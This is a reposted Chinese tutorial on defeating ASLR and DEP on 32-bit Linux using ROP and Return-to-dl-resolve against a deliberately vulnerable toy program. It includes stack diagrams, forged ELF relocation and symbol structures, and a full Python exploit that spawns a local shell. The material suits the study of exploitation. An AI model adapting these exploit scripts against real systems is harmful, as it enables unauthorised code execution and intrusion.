安全路透社
当前位置:安全路透社 > 网络转载 > 正文

如何在32位系统中使用ROP+Return-to-dl来绕过ASLR+DEP

传统的利用return-to-plt+ROP来绕过ASLR + DEP的技术需要知道库中函数的偏移地址,而在没有libc库的情况下可以使用Return-to-dl-resolve技术来达到动态获得库函数地址的目的,关于dl-resolve的技术细节请参照lazy-binding-in-detail

Environment

seviezhou@VirtualBox:~/Desktop$ uname -a
Linux VirtualBox 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux

seviezhou@VirtualBox:~/Desktop$ lsb_release -a
No LSB modules are available.
Distributor ID:    Ubuntu
Description:    Ubuntu 12.04.5 LTS
Release:    12.04
Codename:    precise

seviezhou@VirtualBox:~/Desktop$ gcc -v
gcc version 4.6.3 (Ubuntu/Linaro 4.6.3-1ubuntu5)

Vulnerable code

/* bof.c */
#include <unistd.h>

int main()
{
    char buf[100];
    int size;
    read(0, &size, 4);
    read(0, buf, size);
    write(1, buf, size);
    return 0;
}

编译程序并且打开系统的ASLR:

seviezhou@VirtualBox:~/Desktop$ gcc -fno-stack-protector bof.c -o bof

root@VirtualBox:~# cat /proc/sys/kernel/randomize_va_space
2

程序是一个简单的缓冲区溢出,可以覆盖返回地址,在DEP的保护下,我们可以使用ROP技术来执行代码,为了绕过ASLR,这里使用了return-to-plt技术。

return-to-plt

call write@plt

调用write@plt的代码如下:

import sys
import struct
from subprocess import Popen, PIPE

bufsize = 112

addr_plt_read = 0x08048310   
addr_plt_write = 0x08048340  
addr_bss = 0x0804a018      # readelf -S a.out | grep .bss

addr_pop3 = 0x080484cd       # pop esi ; pop edi ; pop ebp ; ret  ;
addr_pop_ebp = 0x080483d3    # pop ebp ; ret  ; 
addr_leave_ret = 0x08048401  # leave  ; ret  ; 

stack_size = 0x800
base_stage = addr_bss + stack_size

p = Popen(['./bof'], stdin=PIPE, stdout=PIPE)

buf = 'A' * bufsize
buf += struct.pack('<I', addr_plt_read)
buf += struct.pack('<I', addr_pop3)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', base_stage)
buf += struct.pack('<I', 100)
buf += struct.pack('<I', addr_pop_ebp)
buf += struct.pack('<I', base_stage)
buf += struct.pack('<I', addr_leave_ret)

p.stdin.write(struct.pack('<I', len(buf)))
p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(buf))

cmd = '/bin/sh'

buf = 'AAAA'
buf += struct.pack('<I', addr_plt_write)
buf += 'AAAA'
buf += struct.pack('<I', 1)
buf += struct.pack('<I', base_stage+80)
buf += struct.pack('<I', len(cmd))
buf += 'A' * (80-len(buf))
buf += cmd + "\x00"
buf += 'A' * (100-len(buf))

p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(cmd))

函数的plt其实地址可以用objdump -d -j.plt bof读出:

seviezhou@VirtualBox:~/Desktop$ objdump -d -j.plt bof | grep read@plt
08048310 <read@plt>:

栈的布局如下:

+-------------------+ 
|      A * 112      |
+-------------------+ 
|   addr_plt_read   | <- main return address
+-------------------|
|     addr_pop3     | <- addr_plt_read 的返回地址,为了清理栈上的3个参数
+-------------------|
|         0         | <- read函数的arg1
+-------------------|
|     base_stage    | <- read函数的arg2
+-------------------|
|       100         | <- read函数的arg3
+-------------------|
|   addr_pop_ebp    | <- 把base_stage放到ebp中
+-------------------|
|    base_stage     | <- fake ebp
+-------------------|
|  addr_leave_ret   | <- mov esp, ebp ; pop ebp
+-------------------+

此时栈顶变为 addr_bss + stack_size = 0x0804a018 + 0x800 = 0x804a818

+-------------------+ 
|       AAAA        | <- 0x0804a818 ; for pop ebp
+-------------------+ 
|   addr_plt_write  | <- ret
+-------------------|
|       AAAA        | <- ret address of addr_plt_write
+-------------------|
|         1         | <- write函数的arg1
+-------------------|
|  base_stage + 80  | <- write函数的arg2
+-------------------|
|     len(cmd)      | <- write函数的arg3
+-------------------|
|    80-len(buf)    | <- padding for 80
+-------------------|
|    cmd + "\x00"   | <- string in base_stage + 80
+-------------------|
|  100 - len(buf)   | <- padding for 100
+-------------------+

运行:

seviezhou@VirtualBox:~/Desktop$ python exp.py
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
[+] read: '/bin/sh'

看到write@plt被成功调用打出了我们想要的字符串。

Relocation directly

接下来改一下ROP,将直接调用write@plt改为将reloc_offset放在栈中,直接跳到0x8048300执行:

seviezhou@VirtualBox:~/Desktop$ objdump -d -j.plt bof
...
08048340 <write@plt>:
 8048340:    ff 25 0c a0 04 08        jmp    *0x804a00c
 8048346:    68 18 00 00 00           push   $0x18
 804834b:    e9 b0 ff ff ff           jmp    8048300 <_init+0x30>

看到write@pltreloc_offset0x18,修改代码为:

...
...
cmd = '/bin/sh'
addr_plt_start = 0x08048300
reloc_offset = 0x18

buf = 'AAAA'
buf += struct.pack('<I', addr_plt_start)
buf += struct.pack('<I', reloc_offset)
buf += 'AAAA'
buf += struct.pack('<I', 1)
buf += struct.pack('<I', base_stage+80)
buf += struct.pack('<I', len(cmd))
buf += 'A' * (80-len(buf))
buf += cmd + '\x00'
buf += 'A' * (100-len(buf))

p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(cmd))
p.wait()

运行:

seviezhou@VirtualBox:~/Desktop$ python exp.py
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
[+] read: '/bin/sh'

Make fake Elf32_Rel structure

接下来要建立假的Elf32_Rel结构体,原来第一个结构体的位置为:

seviezhou@VirtualBox:~/Desktop$ readelf -d bof | grep JMPREL
 0x00000017 (JMPREL)                     0x80482b0

这里我们可插入一个非常大的reloc_offset,把结构体位置定位到我们可以控制的区域,选择区域为base_stage+28reloc_offset = (base_stage+28) - addr_relplt,在指定区域插入伪造的结构体,先看看原来的write的结构体:

gdb-peda$ x/2x 0x18+0x80482b0
0x80482c8:    0x0804a00c    0x00000407

构造为:

addr_got_write = 0x0804a00c
r_info = 0x407
...
buf += struct.pack('<I', addr_got_write)  # Elf32_Rel
buf += struct.pack('<I', r_info)

后半段改为:

addr_plt_start = 0x08048300
reloc_offset = 0x18
addr_relplt = 0x80482b0
reloc_offset = (base_stage+28) - addr_relplt
addr_got_write = 0x0804a00c
r_info = 0x407

buf = 'AAAA'
buf += struct.pack('<I', addr_plt_start)
buf += struct.pack('<I', reloc_offset)
buf += 'AAAA'
buf += struct.pack('<I', 1)
buf += struct.pack('<I', base_stage+80)
buf += struct.pack('<I', len(cmd))
buf += struct.pack('<I', addr_got_write)  # Elf32_Rel
buf += struct.pack('<I', r_info)
buf += 'A' * (80-len(buf))
buf += cmd + '\x00'
buf += 'A' * (100-len(buf))

p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(cmd))
p.wait()

这样同样能调用write:

seviezhou@VirtualBox:~/Desktop$ python exp.py
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
[+] read: '/bin/sh'

Make fake Elf32_Sym structure

我们知道在找到Elf32_Rel结构体后,会通过r_info >> 8得到Elf32_Sym结构体的位置

seviezhou@VirtualBox:~/Desktop$ readelf -d bof | grep SYM
 0x00000006 (SYMTAB)                     0x80481cc
 0x0000000b (SYMENT)                     16 (bytes)

writer_info >> 8 = 4,所以在SYMTAB[4],也就是0x80481cc + 64:

gdb-peda$ x/s 0x804822c+64
0x804826c:     "write"

我们可以把结构体放在base_stage + 36处,原结构体为:

gdb-peda$ x/4wx 0x80481cc+64
0x804820c:    0x00000040    0x00000000    0x00000000    0x00000012

所以构造为:

st_name = 0x40
buf += struct.pack('<I', st_name)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', 0x12)

还要修改Elf32_Rel结构体中的r_info,保证:

0x80481cc + (r_info >> 8) * 0x10 = base_stage + 36
r_info & 0xff = 0x7

所以base_stage + 36需要加padding,使得为0x10的倍数,计算得到这里正好符合padding的要求,可以不需要padding,修改后为:

...
...
cmd = '/bin/sh'
addr_plt_start = 0x08048300
reloc_offset = 0x18
addr_relplt = 0x80482b0
reloc_offset = (base_stage+28) - addr_relplt
addr_got_write = 0x0804a00c
#r_info = 0x407

addr_dynsym = 0x80481cc
addr_dynstr = 0x804822c
addr_sym = base_stage + 36
# padding = 0x10 - ((addr_sym-addr_dynsym) & 0xF)
# addr_sym = addr_sym + padding
index_dynsym = (addr_sym - addr_dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
st_name = 0x40

buf = 'AAAA'
buf += struct.pack('<I', addr_plt_start)
buf += struct.pack('<I', reloc_offset)
buf += 'AAAA'
buf += struct.pack('<I', 1)
buf += struct.pack('<I', base_stage+80)
buf += struct.pack('<I', len(cmd))
buf += struct.pack('<I', addr_got_write)  # Elf32_Rel
buf += struct.pack('<I', r_info)
# buf += "A" * padding
buf += struct.pack('<I', st_name) # Elf32_Sym
buf += struct.pack('<I', 0)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', 0x12)
buf += 'A' * (80-len(buf))
buf += cmd + '\x00'
buf += 'A' * (100-len(buf))

p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(cmd))
p.wait()

结果一样:

seviezhou@VirtualBox:~/Desktop$ python exp.py
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
[+] read: '/bin/sh'

Make fake string table

我们知道Elf32_Sym结构体第一项是函数名称字符串在STRTAB中的偏移:

seviezhou@VirtualBox:~/Desktop$ readelf -d bof | grep STR
 0x00000005 (STRTAB)                     0x804822c
 0x0000000a (STRSZ)                      80 (bytes)

只需要修改st_name字段,直接在Elf32_Sym结构体后加字符串即可:

st_name = (base_stage + 52) - addr_dynstr

...
buf += struct.pack('<I', st_name) # Elf32_Sym
buf += struct.pack('<I', 0)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', 0x12)
buf += "write\x00"
...

结果:

seviezhou@VirtualBox:~/Desktop$ python exp.py
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
[+] read: '/bin/sh'

Get shell

只要把write\x00改为system\x00,然后修改对应的参数就可以了,完整的脚本:

import sys
import struct
from subprocess import Popen, PIPE

bufsize = 112

addr_plt_read = 0x08048310   
addr_plt_write = 0x08048340  
addr_bss = 0x0804a018       

addr_pop3 = 0x080484cd       # pop esi ; pop edi ; pop ebp ; ret  ;
addr_pop_ebp = 0x080483d3    # pop ebp ; ret  ; 
addr_leave_ret = 0x08048401  # leave  ; ret  ; 

stack_size = 0x800
base_stage = addr_bss + stack_size

p = Popen(['./bof'], stdin=PIPE, stdout=PIPE)

buf = 'A' * bufsize
buf += struct.pack('<I', addr_plt_read)
buf += struct.pack('<I', addr_pop3)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', base_stage)
buf += struct.pack('<I', 100)
buf += struct.pack('<I', addr_pop_ebp)
buf += struct.pack('<I', base_stage)
buf += struct.pack('<I', addr_leave_ret)

p.stdin.write(struct.pack('<I', len(buf)))
p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(buf))

cmd = '/bin/sh <&2 >&2'
addr_plt_start = 0x08048300
reloc_offset = 0x18
addr_relplt = 0x80482b0
reloc_offset = (base_stage+28) - addr_relplt
addr_got_write = 0x0804a00c
#r_info = 0x407

addr_dynsym = 0x80481cc
addr_dynstr = 0x804822c
addr_sym = base_stage + 36
# padding = 0x10 - ((addr_sym-addr_dynsym) & 0xF)
# addr_sym = addr_sym + padding
index_dynsym = (addr_sym - addr_dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
st_name = (base_stage + 52) - addr_dynstr

buf = 'AAAA'
buf += struct.pack('<I', addr_plt_start)
buf += struct.pack('<I', reloc_offset)
buf += 'AAAA'
buf += struct.pack('<I', base_stage + 80)
buf += "AAAA"
buf += "AAAA"
buf += struct.pack('<I', addr_got_write)  # Elf32_Rel
buf += struct.pack('<I', r_info)
# buf += "A" * padding
buf += struct.pack('<I', st_name) # Elf32_Sym
buf += struct.pack('<I', 0)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', 0x12)
buf += "system\x00"
buf += 'A' * (80-len(buf))
buf += cmd + '\x00'
buf += 'A' * (100-len(buf))

p.stdin.write(buf)
p.wait()

运行:

seviezhou@VirtualBox:~/Desktop$ python exp.py
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
$ whoami
seviezhou

这样就在不知道库中函数偏移的情况下调用了system

参考来源: ROP stager + Return-to-dl-resolveによるASLR+DEP回避

*本文作者:pwdme,转载请注明来自 FreeBuf.COM

未经允许不得转载:安全路透社 » 如何在32位系统中使用ROP+Return-to-dl来绕过ASLR+DEP

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册